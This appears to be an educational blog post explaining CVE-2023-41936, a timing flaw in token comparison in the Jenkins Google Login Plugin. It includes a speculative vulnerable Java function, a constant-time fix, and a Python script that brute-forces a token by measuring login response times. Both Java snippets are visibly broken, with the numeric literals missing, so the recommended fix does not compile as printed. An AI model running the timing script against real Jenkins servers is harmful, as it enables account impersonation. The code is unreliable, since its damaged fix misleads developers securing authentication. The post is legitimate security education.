Jenkins is everywhere in DevOps. From continuous integration to managing deployment pipelines, Jenkins powers a huge chunk of modern software development. But like any big software, its ecosystem of plugins is prone to security issues. One such recent vulnerability is CVE-2023-41936, a flaw found in the Google Login Plugin for Jenkins. This post will break down what the bug is, why it happened, how attackers might exploit it, and how you can stay safe.

What Is CVE-2023-41936?

CVE-2023-41936 is a vulnerability in versions 1.7 and earlier of the Jenkins Google Login Plugin. This plugin allows users to log into Jenkins using their Google accounts. The issue, however, is about *how* the plugin checks certain security tokens.

When the plugin gets a login request, it checks a security token you send against what it's expecting. But, unfortunately, the code used to compare these two tokens isn’t what security experts call “constant time.” That sounds technical, but here’s why it matters.

Constant Time Comparison: Why Does It Matter?

When comparing two pieces of data (like a login token), you want the process to take the same time no matter what the inputs are. If not, a clever attacker with the ability to measure delays can figure out whether parts of the input match, bit by bit or character by character. This attack is called a timing attack.

Non-constant time comparison can leak hints about the correct token—enough for determined attackers to eventually figure out your secret value.

Let’s look at how the comparison might have been written

// BAD: This compares character by character, stopping on the first mismatch
public boolean tokensEqual(String provided, String expected) {
    if (provided.length() != expected.length()) return false;
    for (int i = ; i < provided.length(); i++) {
        if (provided.charAt(i) != expected.charAt(i)) {
            return false;
        }
    }
    return true;
}

Here's what happens: if you guess the first character right, the check goes to the second. If you mess up, the function returns false *immediately*. An attacker can send lots of attempts and measure the response times, slowly reconstructing the token.

A safer way would look like this (in pseudocode)

// GOOD: Always processes every character, regardless of mismatches
public boolean tokensConstantTimeEqual(String provided, String expected) {
    if (provided.length() != expected.length()) return false;
    int result = ;
    for (int i = ; i < provided.length(); i++) {
        result |= provided.charAt(i) ^ expected.charAt(i);
    }
    return result == ;
}

Now, the function always compares every character, so the attacker has no useful timing data to exploit.

How Would An Attacker Exploit This?

1. Guess and Measure: The attacker sends hundreds or thousands of requests, each time guessing one character of the token.
2. Analyze Response Time: For each guess, the system takes slightly longer when a character matches, because it goes further in the comparison loop.
3. Reconstruct the Token: By repeating the process, slowly, the attacker figures out each character, ultimately obtaining a valid token.

With a stolen valid token, an attacker could possibly impersonate a user, gaining access to Jenkins with their Google account.

Real-World Impact

- Severity: Timing attacks are trickier to pull off remotely because network latency introduces noise, but with enough tries and automation, such attacks are feasible.

Here’s a simple outline of the exploit workflow (python-style pseudocode)

import requests
import time

token_length = 32
known = ''
url = 'https://YOUR-JENKINS/login';

for i in range(token_length):
    timings = {}
    for ch in '0123456789abcdef':  # possible charset
        test_token = known + ch + 'A' * (token_length - len(known) - 1)
        start = time.time()
        response = requests.post(url, data={'token': test_token})
        elapsed = time.time() - start
        timings[ch] = elapsed
    # Choose the character with the longest elapsed time
    next_char = max(timings, key=timings.get)
    known += next_char
    print(f"Guessed so far: {known}")

*Important*: Actual exploitation would require tuning, error handling, and noise filtering, and attacking your own server to confirm is legal. Do not attack servers you don’t own.

Upgrade Immediately: Always update to the newest version of the plugin.

- Jenkins Security Advisory: CVE-2023-41936
- Google Login Plugin Release Page
- Review Other Plugins: Constant-time comparison mistakes are common; check custom code or report issues to plugin maintainers.
- Enable MFA: Add another layer of security—timing attacks are less useful if more factors are needed.

References

- Jenkins Security Advisory: CVE-2023-41936
- Google Login Plugin - Jenkins Plugins
- OWASP: Insecure Comparison

Final Thoughts

CVE-2023-41936 is a classic example of how a subtle coding mistake can become a real-world security risk. If you’re building or maintaining authentication systems, use constant-time comparison for secrets, always. And keep your plugins up to date!

If you run Jenkins with the affected Google Login Plugin, patch today—these fixes are easy to make and critical for your security. Spread the word and stay safe!


*Copyright 2024. This article is independently written for educational and awareness purposes.*

Timeline

Published on: 09/06/2023 13:15:00 UTC
Last modified on: 09/11/2023 17:53:00 UTC